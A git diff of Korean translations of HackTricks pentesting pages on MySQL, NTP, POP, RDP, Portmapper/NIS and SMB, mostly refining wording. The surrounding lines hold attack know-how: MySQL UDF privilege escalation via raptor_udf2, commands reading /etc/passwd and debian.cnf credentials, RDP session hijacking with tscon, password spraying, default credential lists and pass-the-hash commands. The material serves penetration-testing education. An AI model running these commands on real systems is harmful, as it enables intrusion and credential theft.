||||
|
@ -34,7 +34,7 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
|
||||
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
|
||||
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||
```
|
||||
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
|
||||
### [**브루트 포스**](../generic-hacking/brute-force.md#mysql)
|
||||
|
||||
### 이진 데이터 쓰기
|
||||
```bash
|
||||
@ -123,7 +123,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**초기 PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**이 문서에서는 공격에 대한 완전한 설명과 RCE로 확장하는 방법을 볼 수 있습니다:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**여기에서 공격 개요를 찾을 수 있습니다:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
@ -147,7 +147,7 @@ MySQL 서비스의 구성에서 다양한 설정이 사용되어 운영 및 보
|
||||
- **`user`** 설정은 MySQL 서비스가 실행될 사용자 지정에 사용됩니다.
|
||||
- **`password`**는 MySQL 사용자와 관련된 비밀번호를 설정하는 데 사용됩니다.
|
||||
- **`admin_address`**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다.
|
||||
- **`debug`** 변수는 현재 디버깅 구성의 지표로, 로그 내에 민감한 정보를 포함합니다.
|
||||
- **`debug`** 변수는 현재 디버깅 구성을 나타내며, 로그 내에 민감한 정보를 포함합니다.
|
||||
- **`sql_warnings`**는 경고가 발생할 때 단일 행 INSERT 문에 대한 정보 문자열이 생성되는지 관리하며, 로그 내에 민감한 데이터를 포함합니다.
|
||||
- **`secure_file_priv`**는 데이터 가져오기 및 내보내기 작업의 범위를 제한하여 보안을 강화합니다.
|
||||
|
||||
@ -171,11 +171,11 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
```
|
||||
### Privilege Escalation via library
|
||||
|
||||
If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql.
|
||||
만약 **mysql 서버가 root** (또는 더 높은 권한을 가진 다른 사용자)로 실행되고 있다면, 명령을 실행하도록 만들 수 있습니다. 이를 위해서는 **사용자 정의 함수**를 사용해야 합니다. 사용자 정의 함수를 만들기 위해서는 mysql이 실행되고 있는 OS에 대한 **라이브러리**가 필요합니다.
|
||||
|
||||
The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need.
|
||||
사용할 악성 라이브러리는 sqlmap과 metasploit 내에서 **`locate "*lib_mysqludf_sys*"`** 명령어를 통해 찾을 수 있습니다. **`.so`** 파일은 **linux** 라이브러리이고, **`.dll`** 파일은 **Windows** 라이브러리입니다. 필요한 것을 선택하세요.
|
||||
|
||||
If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**:
|
||||
만약 **그 라이브러리들이 없다면**, **찾아보거나**, 이 [**linux C 코드**](https://www.exploit-db.com/exploits/1518)를 다운로드하여 **linux 취약한 머신 내에서 컴파일**할 수 있습니다:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
@ -220,7 +220,7 @@ _/etc/mysql/debian.cnf_ 안에는 사용자 **debian-sys-maint**의 **일반 텍
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
당신은 **이 자격 증명을 사용하여 MySQL 데이터베이스에 로그인할 수 있습니다**.
|
||||
이 자격 증명을 사용하여 **mysql 데이터베이스에 로그인할 수 있습니다**.
|
||||
|
||||
파일 _/var/lib/mysql/mysql/user.MYD_ 안에는 **MySQL 사용자들의 모든 해시**가 있습니다 (데이터베이스 내의 mysql.user에서 추출할 수 있는 해시들입니다) _.
|
||||
|
||||
|
@ -42,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
|
||||
|
||||
[**NTP DDoS 공격 작동 방식**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
|
||||
|
||||
**NTP 프로토콜**은 UDP를 사용하여 TCP와 달리 핸드셰이크 절차 없이 작동할 수 있습니다. 이 특성은 **NTP DDoS 증폭 공격**에서 악용됩니다. 여기서 공격자는 가짜 소스 IP로 패킷을 생성하여 공격 요청이 피해자로부터 온 것처럼 보이게 합니다. 이러한 패킷은 처음에는 작지만, NTP 서버가 훨씬 더 큰 데이터 양으로 응답하도록 하여 공격을 증폭시킵니다.
|
||||
**NTP 프로토콜**은 UDP를 사용하여 TCP와 달리 핸드셰이크 절차 없이 작동할 수 있습니다. 이 특성은 **NTP DDoS 증폭 공격**에서 악용됩니다. 여기서 공격자는 가짜 소스 IP로 패킷을 생성하여 공격 요청이 피해자로부터 오는 것처럼 보이게 합니다. 이러한 패킷은 처음에는 작지만, NTP 서버가 훨씬 더 큰 데이터 양으로 응답하도록 하여 공격을 증폭시킵니다.
|
||||
|
||||
_**MONLIST**_ 명령은 드물게 사용되지만, NTP 서비스에 연결된 마지막 600명의 클라이언트를 보고할 수 있습니다. 명령 자체는 간단하지만, 이러한 공격에서의 오용은 중요한 보안 취약점을 강조합니다.
|
||||
```bash
|
||||
@ -71,6 +71,4 @@ Name: Nmap
|
||||
Description: Enumerate NTP
|
||||
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
|
||||
```
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**우편물 프로토콜 (POP)**은 컴퓨터 네트워킹 및 인터넷 영역 내의 프로토콜로 설명되며, **원격 메일 서버에서 이메일을 추출하고 검색하는 데 사용**되어 로컬 장치에서 접근할 수 있게 합니다. OSI 모델의 응용 계층에 위치한 이 프로토콜은 사용자가 이메일을 가져오고 수신할 수 있도록 합니다. **POP 클라이언트**의 작동은 일반적으로 메일 서버에 연결을 설정하고, 모든 메시지를 다운로드하며, 이러한 메시지를 클라이언트 시스템에 로컬로 저장한 후 서버에서 제거하는 과정을 포함합니다. 이 프로토콜에는 세 가지 버전이 있지만, **POP3**가 가장 널리 사용되는 버전으로 두드러집니다.
|
||||
**우편 프로토콜 (POP)**은 컴퓨터 네트워킹 및 인터넷 영역 내의 프로토콜로 설명되며, **원격 메일 서버에서 이메일을 추출하고 검색하는 데 사용**되어 로컬 장치에서 접근할 수 있게 합니다. OSI 모델의 애플리케이션 계층에 위치한 이 프로토콜은 사용자가 이메일을 가져오고 받을 수 있도록 합니다. **POP 클라이언트**의 작동은 일반적으로 메일 서버에 연결을 설정하고, 모든 메시지를 다운로드하며, 이러한 메시지를 클라이언트 시스템에 로컬로 저장한 후 서버에서 제거하는 과정을 포함합니다. 이 프로토콜에는 세 가지 버전이 있지만, **POP3**가 가장 널리 사용되는 버전으로 두드러집니다.
|
||||
|
||||
**기본 포트:** 110, 995(ssl)
|
||||
```
|
||||
@ -73,7 +73,7 @@ password: PA$$W0RD!Z
|
||||
```
|
||||
## 비밀번호 로깅
|
||||
|
||||
**`auth_debug`** 설정이 활성화된 POP 서버는 생성되는 로그가 증가합니다. 그러나 **`auth_debug_passwords`** 또는 **`auth_verbose_passwords`** 가 **`true`** 로 설정되면, 비밀번호가 해당 로그에 평문으로 기록될 수 있습니다.
|
||||
**`auth_debug`**가 활성화된 POP 서버는 생성되는 로그가 증가합니다. 그러나 **`auth_debug_passwords`** 또는 **`auth_verbose_passwords`**가 **`true`**로 설정된 경우, 비밀번호가 해당 로그에 평문으로 기록될 수 있습니다.
|
||||
|
||||
## HackTricks 자동 명령
|
||||
```
|
||||
|
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## 기본 정보
|
||||
|
||||
Microsoft에서 개발한 **Remote Desktop Protocol** (**RDP**)는 네트워크를 통해 컴퓨터 간의 그래픽 인터페이스 연결을 가능하게 하도록 설계되었습니다. 이러한 연결을 설정하기 위해 사용자는 **RDP** 클라이언트 소프트웨어를 사용하고, 동시에 원격 컴퓨터는 **RDP** 서버 소프트웨어를 운영해야 합니다. 이 설정은 원거리 컴퓨터의 데스크탑 환경을 원활하게 제어하고 접근할 수 있게 하여, 본질적으로 그 인터페이스를 사용자의 로컬 장치로 가져옵니다.
|
||||
@ -11,9 +12,9 @@ Microsoft에서 개발한 **Remote Desktop Protocol** (**RDP**)는 네트워크
|
||||
PORT STATE SERVICE
|
||||
3389/tcp open ms-wbt-server
|
||||
```
|
||||
## Enumeration
|
||||
## 열거
|
||||
|
||||
### Automatic
|
||||
### 자동
|
||||
```bash
|
||||
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
|
||||
```
|
||||
@ -21,11 +22,11 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338
|
||||
|
||||
### [Brute force](../generic-hacking/brute-force.md#rdp)
|
||||
|
||||
**주의하세요, 계정이 잠길 수 있습니다**
|
||||
**주의하세요, 계정이 잠길 수 있습니다.**
|
||||
|
||||
### **Password Spraying**
|
||||
|
||||
**주의하세요, 계정이 잠길 수 있습니다**
|
||||
**주의하세요, 계정이 잠길 수 있습니다.**
|
||||
```bash
|
||||
# https://github.com/galkan/crowbar
|
||||
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
||||
@ -49,7 +50,7 @@ rdp_check <domain>/<name>:<password>@<IP>
|
||||
|
||||
### 세션 탈취
|
||||
|
||||
**SYSTEM 권한**으로 **사용자에 의해 열린 RDP 세션**에 접근할 수 있으며, 소유자의 비밀번호를 알 필요가 없습니다.
|
||||
**SYSTEM 권한**으로 **사용자에 의해 열린 모든 RDP 세션**에 접근할 수 있으며, 소유자의 비밀번호를 알 필요가 없습니다.
|
||||
|
||||
**열린 세션 가져오기:**
|
||||
```
|
||||
@ -59,7 +60,7 @@ query user
|
||||
```bash
|
||||
tscon <ID> /dest:<SESSIONNAME>
|
||||
```
|
||||
이제 선택한 RDP 세션에 들어가게 되며, Windows 도구와 기능만을 사용하여 사용자를 가장해야 합니다.
|
||||
이제 선택한 RDP 세션에 들어가게 되며, Windows 도구와 기능만을 사용하여 사용자를 가장하게 됩니다.
|
||||
|
||||
**중요**: 활성 RDP 세션에 접근하면 해당 세션을 사용 중인 사용자가 강제로 로그아웃됩니다.
|
||||
|
||||
@ -74,13 +75,13 @@ ts::remote /id:2 #Connect to the session
|
||||
```
|
||||
### Sticky-keys & Utilman
|
||||
|
||||
이 기술을 **stickykeys** 또는 **utilman**과 결합하면 언제든지 관리 CMD와 모든 RDP 세션에 접근할 수 있습니다.
|
||||
이 기술을 **stickykeys** 또는 **utilman**과 결합하면 언제든지 관리 CMD와 RDP 세션에 접근할 수 있습니다.
|
||||
|
||||
이 기술 중 하나로 백도어가 설정된 RDP를 검색할 수 있습니다: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
이미 이러한 기술 중 하나로 백도어가 설정된 RDP를 검색할 수 있습니다: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
### RDP Process Injection
|
||||
|
||||
다른 도메인에서 또는 **더 나은 권한**으로 RDP를 통해 **당신이 관리자**인 PC에 로그인하는 경우, 그의 **RDP 세션 프로세스**에 당신의 비콘을 **주입**하고 그로 행동할 수 있습니다:
|
||||
다른 도메인에서 또는 **더 나은 권한으로 RDP를 통해** **당신이 Admin인** PC에 로그인하는 경우, 그의 **RDP 세션 프로세스**에 당신의 비콘을 **주입**하고 그처럼 행동할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
|
||||
@ -102,8 +103,6 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
||||
- RDP를 통해 대상에 대한 네트워크 통신을 채널링하는 SOCKS 프록시 클라이언트에서 생성
|
||||
- 파일을 업로드하지 않고도 대상에서 임의의 SHELL 및 PowerShell 명령 실행
|
||||
- 파일 전송이 대상에서 비활성화되어 있어도 대상에 파일을 업로드 및 다운로드
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 3389 #Comma separated if there is more than one.
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Portmapper**는 네트워크 서비스 포트를 **RPC** (원격 프로시저 호출) 프로그램 번호에 매핑하는 데 사용되는 서비스입니다. 이는 **Unix 기반 시스템**에서 중요한 구성 요소로 작용하여 이러한 시스템 간의 정보 교환을 촉진합니다. **Portmapper**와 관련된 **포트**는 공격자에 의해 자주 스캔되며, 이는 귀중한 정보를 드러낼 수 있습니다. 이 정보에는 실행 중인 **Unix 운영 체제 (OS)**의 유형과 시스템에서 사용할 수 있는 서비스에 대한 세부 정보가 포함됩니다. 또한, **Portmapper**는 **NFS (네트워크 파일 시스템)**, **NIS (네트워크 정보 서비스)** 및 기타 **RPC 기반 서비스**와 함께 네트워크 서비스를 효과적으로 관리하는 데 일반적으로 사용됩니다.
|
||||
**Portmapper**는 네트워크 서비스 포트를 **RPC** (원격 프로시저 호출) 프로그램 번호에 매핑하는 데 사용되는 서비스입니다. 이는 **Unix 기반 시스템**에서 중요한 구성 요소로 작용하여 이러한 시스템 간의 정보 교환을 용이하게 합니다. **Portmapper**와 관련된 **포트**는 공격자에 의해 자주 스캔되며, 이는 귀중한 정보를 드러낼 수 있습니다. 이 정보에는 실행 중인 **Unix 운영 체제 (OS)**의 유형과 시스템에서 사용할 수 있는 서비스에 대한 세부 정보가 포함됩니다. 또한, **Portmapper**는 **NFS (네트워크 파일 시스템)**, **NIS (네트워크 정보 서비스)** 및 기타 **RPC 기반 서비스**와 함께 네트워크 서비스를 효과적으로 관리하는 데 일반적으로 사용됩니다.
|
||||
|
||||
**기본 포트:** 111/TCP/UDP, Oracle Solaris에서 32771
|
||||
**기본 포트:** 111/TCP/UDP, Oracle Solaris의 경우 32771
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
111/tcp open rpcbind
|
||||
@ -40,7 +40,7 @@ nmap -sSUC -p111 192.168.10.1
|
||||
|
||||
탐색 여정은 필요한 패키지 설치(`apt-get install nis`)로 시작됩니다. 다음 단계는 `ypwhich`를 사용하여 도메인 이름과 서버 IP로 NIS 서버의 존재를 확인하는 것입니다. 이 요소들은 보안을 위해 익명화되어야 합니다.
|
||||
|
||||
마지막이자 중요한 단계는 `ypcat` 명령을 사용하여 민감한 데이터를 추출하는 것입니다. 특히 암호화된 사용자 비밀번호를 추출합니다. 이러한 해시는 **John the Ripper**와 같은 도구를 사용하여 해독되면 시스템 접근 및 권한에 대한 통찰력을 제공합니다.
|
||||
마지막이자 중요한 단계는 `ypcat` 명령을 사용하여 민감한 데이터를 추출하는 것입니다. 특히 암호화된 사용자 비밀번호를 추출합니다. 이러한 해시는 **John the Ripper**와 같은 도구를 사용하여 크랙되면 시스템 접근 및 권한에 대한 통찰력을 제공합니다.
|
||||
```bash
|
||||
# Install NIS tools
|
||||
apt-get install nis
|
||||
@ -55,7 +55,7 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
||||
| ---------------- | -------------------------- | --------------------------------- |
|
||||
| /etc/hosts | hosts.byname, hosts.byaddr | 호스트 이름 및 IP 세부정보 포함 |
|
||||
| /etc/passwd | passwd.byname, passwd.byuid| NIS 사용자 비밀번호 파일 |
|
||||
| /etc/group | group.byname, group.bygid | NIS 그룹 파일 |
|
||||
| /etc/group | group.byname, group.bygid | NIS 그룹 파일 |
|
||||
| /usr/lib/aliases | mail.aliases | 메일 별칭 세부정보 |
|
||||
|
||||
## RPC 사용자
|
||||
@ -68,7 +68,7 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
||||
|
||||
## 필터링된 포트매퍼 포트 우회
|
||||
|
||||
**nmap 스캔**을 수행하고 포트 111이 필터링된 열린 NFS 포트를 발견할 때, 이러한 포트를 직접적으로 악용하는 것은 불가능합니다. 그러나 **로컬에서 포트매퍼 서비스를 시뮬레이션하고 귀하의 머신에서 대상까지 터널을 생성함으로써** 표준 도구를 사용하여 악용이 가능해집니다. 이 기술은 포트 111의 필터링 상태를 우회할 수 있게 하여 NFS 서비스에 접근할 수 있도록 합니다. 이 방법에 대한 자세한 안내는 [이 링크](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc)에서 확인하세요.
|
||||
**nmap 스캔**을 수행하고 포트 111이 필터링된 열린 NFS 포트를 발견할 경우, 이러한 포트를 직접적으로 악용하는 것은 불가능합니다. 그러나 **로컬에서 포트매퍼 서비스를 시뮬레이션하고 귀하의 머신에서 대상까지 터널을 생성함으로써** 표준 도구를 사용하여 악용이 가능해집니다. 이 기술은 포트 111의 필터링 상태를 우회할 수 있게 하여 NFS 서비스에 접근할 수 있도록 합니다. 이 방법에 대한 자세한 안내는 [이 링크](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc)에서 확인하세요.
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -10,7 +10,7 @@ _**네트워크 기본 입출력 시스템**_** (NetBIOS)**는 애플리케이
|
||||
```
|
||||
## Port 445
|
||||
|
||||
기술적으로, 포트 139는 ‘NBT over IP’로 언급되며, 포트 445는 ‘SMB over IP’로 식별됩니다. 약어 **SMB**는 ‘**서버 메시지 블록**’을 의미하며, 현대적으로는 **공통 인터넷 파일 시스템 (CIFS)**로 알려져 있습니다. 애플리케이션 계층 네트워크 프로토콜로서, SMB/CIFS는 주로 파일, 프린터, 직렬 포트에 대한 공유 액세스를 가능하게 하고, 네트워크의 노드 간 다양한 형태의 통신을 촉진하는 데 사용됩니다.
|
||||
기술적으로, 포트 139는 ‘NBT over IP’로 언급되며, 포트 445는 ‘SMB over IP’로 식별됩니다. 약어 **SMB**는 ‘**Server Message Blocks**’를 의미하며, 현대적으로는 **Common Internet File System (CIFS)**로 알려져 있습니다. 애플리케이션 계층 네트워크 프로토콜로서, SMB/CIFS는 주로 파일, 프린터, 직렬 포트에 대한 공유 액세스를 가능하게 하고, 네트워크의 노드 간 다양한 형태의 통신을 촉진하는 데 사용됩니다.
|
||||
|
||||
예를 들어, Windows의 맥락에서 SMB는 TCP/IP를 통해 직접 작동할 수 있으며, 포트 445를 사용하여 TCP/IP를 통한 NetBIOS의 필요성을 제거합니다. 반대로, 다른 시스템에서는 포트 139의 사용이 관찰되며, 이는 SMB가 TCP/IP를 통한 NetBIOS와 함께 실행되고 있음을 나타냅니다.
|
||||
```
|
||||
@ -18,13 +18,13 @@ _**네트워크 기본 입출력 시스템**_** (NetBIOS)**는 애플리케이
|
||||
```
|
||||
### SMB
|
||||
|
||||
**서버 메시지 블록 (SMB)** 프로토콜은 **클라이언트-서버** 모델에서 작동하며, **파일**, 디렉토리 및 프린터, 라우터와 같은 기타 네트워크 리소스에 대한 **접근**을 규제하기 위해 설계되었습니다. 주로 **Windows** 운영 체제 시리즈 내에서 사용되며, SMB는 하위 호환성을 보장하여 Microsoft의 최신 운영 체제를 실행하는 장치가 이전 버전을 실행하는 장치와 원활하게 상호 작용할 수 있도록 합니다. 또한, **Samba** 프로젝트는 SMB를 **Linux** 및 Unix 시스템에서 구현할 수 있는 무료 소프트웨어 솔루션을 제공하여 SMB를 통한 크로스 플랫폼 통신을 촉진합니다.
|
||||
**서버 메시지 블록 (SMB)** 프로토콜은 **클라이언트-서버** 모델에서 작동하며, **파일**, 디렉토리 및 프린터와 라우터와 같은 기타 네트워크 리소스에 대한 **접근**을 규제하기 위해 설계되었습니다. 주로 **Windows** 운영 체제 시리즈 내에서 사용되며, SMB는 하위 호환성을 보장하여 Microsoft의 최신 운영 체제를 실행하는 장치가 이전 버전을 실행하는 장치와 원활하게 상호 작용할 수 있도록 합니다. 또한, **Samba** 프로젝트는 SMB를 **Linux** 및 Unix 시스템에서 구현할 수 있는 무료 소프트웨어 솔루션을 제공하여 SMB를 통한 크로스 플랫폼 통신을 촉진합니다.
|
||||
|
||||
SMB 서버는 **로컬 파일 시스템의 임의 부분**을 나타내는 공유를 제공할 수 있으며, 이를 통해 클라이언트는 서버의 실제 구조와 부분적으로 **독립적인** 계층 구조를 볼 수 있습니다. **접근 제어 목록 (ACLs)**은 **접근 권한**을 정의하며, **`execute`**, **`read`**, **`full access`**와 같은 속성을 포함하여 사용자 권한에 대한 **세밀한 제어**를 허용합니다. 이러한 권한은 공유를 기반으로 개별 사용자 또는 그룹에 할당될 수 있으며, 서버에서 설정된 로컬 권한과는 구별됩니다.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
IPC$ 공유에 대한 접근은 익명 널 세션을 통해 얻을 수 있으며, 이를 통해 명명된 파이프를 통해 노출된 서비스와 상호 작용할 수 있습니다. 이 목적에 유용한 유틸리티는 `enum4linux`입니다. 적절히 사용하면 다음을 획득할 수 있습니다:
|
||||
IPC$ 공유에 대한 접근은 익명 널 세션을 통해 얻을 수 있으며, 이를 통해 명명된 파이프를 통해 노출된 서비스와 상호 작용할 수 있습니다. 이 목적을 위해 `enum4linux` 유틸리티가 유용합니다. 적절히 사용하면 다음을 획득할 수 있습니다:
|
||||
|
||||
- 운영 체제에 대한 정보
|
||||
- 상위 도메인에 대한 세부 정보
|
||||
@ -40,7 +40,7 @@ enum4linux -a target_ip
|
||||
|
||||
## NTLM이란
|
||||
|
||||
NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 어떻게 악용할 수 있는지 알고 싶다면, **이 프로토콜이 어떻게 작동하는지와 이를 활용하는 방법**에 대해 설명하는 **NTLM**에 대한 이 페이지가 매우 흥미로울 것입니다:
|
||||
NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 어떻게 악용할 수 있는지 알고 싶다면, **이 프로토콜이 어떻게 작동하는지와 이를 어떻게 활용할 수 있는지 설명하는** **NTLM**에 대한 이 페이지가 매우 흥미로울 것입니다:
|
||||
|
||||
{{#ref}}
|
||||
../windows-hardening/ntlm/
|
||||
@ -48,7 +48,7 @@ NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 어떻게
|
||||
|
||||
## **서버 열거**
|
||||
|
||||
### **호스트** 검색을 위한 네트워크 스캔:
|
||||
### **호스트**를 검색하여 네트워크 스캔:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
@ -82,14 +82,14 @@ searchsploit microsoft smb
|
||||
### **가능한** 자격 증명
|
||||
|
||||
| **사용자 이름** | **일반 비밀번호** |
|
||||
| -------------------- | --------------------------------------- |
|
||||
| _(빈칸)_ | _(빈칸)_ |
|
||||
| guest | _(빈칸)_ |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(빈칸)_ | _(빈칸)_ |
|
||||
| guest | _(빈칸)_ |
|
||||
| Administrator, admin | _(빈칸)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
|
||||
### 무차별 대입 공격
|
||||
|
||||
@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
|
||||
|
||||
### 공유 폴더 목록
|
||||
|
||||
항상 접근할 수 있는지 확인하는 것이 좋습니다. 자격 증명이 없는 경우 **null** **자격 증명/게스트 사용자**를 사용해 보세요.
|
||||
항상 접근할 수 있는지 확인하는 것이 좋습니다. 자격 증명이 없는 경우 **null** **자격 증명/게스트 사용자**를 사용해 보십시오.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -310,15 +310,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
특히 흥미로운 공유 파일은 **`Registry.xml`**로, 이는 **autologon**으로 구성된 사용자에 대한 비밀번호를 포함할 수 있습니다. 또는 **`web.config`** 파일은 자격 증명을 포함하고 있습니다.
|
||||
특히 흥미로운 공유 파일은 **`Registry.xml`**로, 이는 **autologon**이 Group Policy를 통해 구성된 사용자에 대한 비밀번호를 **포함할 수 있습니다**. 또는 **`web.config`** 파일은 자격 증명을 **포함하고 있습니다**.
|
||||
|
||||
> [!NOTE]
|
||||
> **SYSVOL 공유**는 도메인 내 모든 인증된 사용자가 **읽을 수 있습니다**. 그 안에는 다양한 배치, VBScript 및 PowerShell **스크립트**가 있을 수 있습니다.\
|
||||
> 그 안의 **스크립트**를 **확인**해야 하며, **비밀번호**와 같은 민감한 정보를 **찾을 수** 있습니다.
|
||||
> **SYSVOL 공유**는 도메인 내 모든 인증된 사용자가 **읽을 수 있습니다**. 그 안에는 다양한 배치, VBScript 및 PowerShell **스크립트**가 **있을 수 있습니다**.\
|
||||
> 그 안의 **스크립트**를 **확인**해야 하며, **비밀번호**와 같은 민감한 정보를 **찾을 수 있습니다**.
|
||||
|
||||
## 레지스트리 읽기
|
||||
|
||||
발견된 자격 증명을 사용하여 **레지스트리**를 **읽을 수** 있을 것입니다. Impacket **`reg.py`**를 사용하여 시도할 수 있습니다:
|
||||
발견된 자격 증명을 사용하여 **레지스트리를 읽을 수 있습니다**. Impacket **`reg.py`**를 사용하여 시도할 수 있습니다:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -328,20 +328,20 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
|
||||
**Samba** 서버의 **기본 구성**은 일반적으로 `/etc/samba/smb.conf`에 위치하며, 몇 가지 **위험한 구성**이 있을 수 있습니다:
|
||||
|
||||
| **설정** | **설명** |
|
||||
| **설정** | **설명** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | 현재 공유에서 사용 가능한 공유 목록을 허용합니까? |
|
||||
| `read only = no` | 파일의 생성 및 수정을 금지합니까? |
|
||||
| `writable = yes` | 사용자가 파일을 생성하고 수정할 수 있도록 허용합니까? |
|
||||
| `guest ok = yes` | 비밀번호 없이 서비스에 연결할 수 있도록 허용합니까? |
|
||||
| `enable privileges = yes` | 특정 SID에 할당된 권한을 존중합니까? |
|
||||
| `create mask = 0777` | 새로 생성된 파일에 어떤 권한이 할당되어야 합니까? |
|
||||
| `directory mask = 0777` | 새로 생성된 디렉토리에 어떤 권한이 할당되어야 합니까? |
|
||||
| `logon script = script.sh` | 사용자의 로그인 시 어떤 스크립트를 실행해야 합니까? |
|
||||
| `magic script = script.sh` | 스크립트가 종료될 때 어떤 스크립트를 실행해야 합니까? |
|
||||
| `magic output = script.out` | 마법 스크립트의 출력이 어디에 저장되어야 합니까? |
|
||||
| `writable = yes` | 사용자가 파일을 생성하고 수정할 수 있도록 허용합니까? |
|
||||
| `guest ok = yes` | 비밀번호 없이 서비스에 연결할 수 있도록 허용합니까? |
|
||||
| `enable privileges = yes` | 특정 SID에 할당된 권한을 존중합니까? |
|
||||
| `create mask = 0777` | 새로 생성된 파일에 어떤 권한이 할당되어야 합니까? |
|
||||
| `directory mask = 0777` | 새로 생성된 디렉토리에 어떤 권한이 할당되어야 합니까? |
|
||||
| `logon script = script.sh` | 사용자의 로그인 시 실행해야 하는 스크립트는 무엇입니까? |
|
||||
| `magic script = script.sh` | 스크립트가 종료될 때 실행해야 하는 스크립트는 무엇입니까? |
|
||||
| `magic output = script.out` | 마법 스크립트의 출력이 저장되어야 하는 위치는 어디입니까? |
|
||||
|
||||
`smbstatus` 명령은 **서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다.
|
||||
명령어 `smbstatus`는 **서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
|
||||
@ -378,8 +378,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
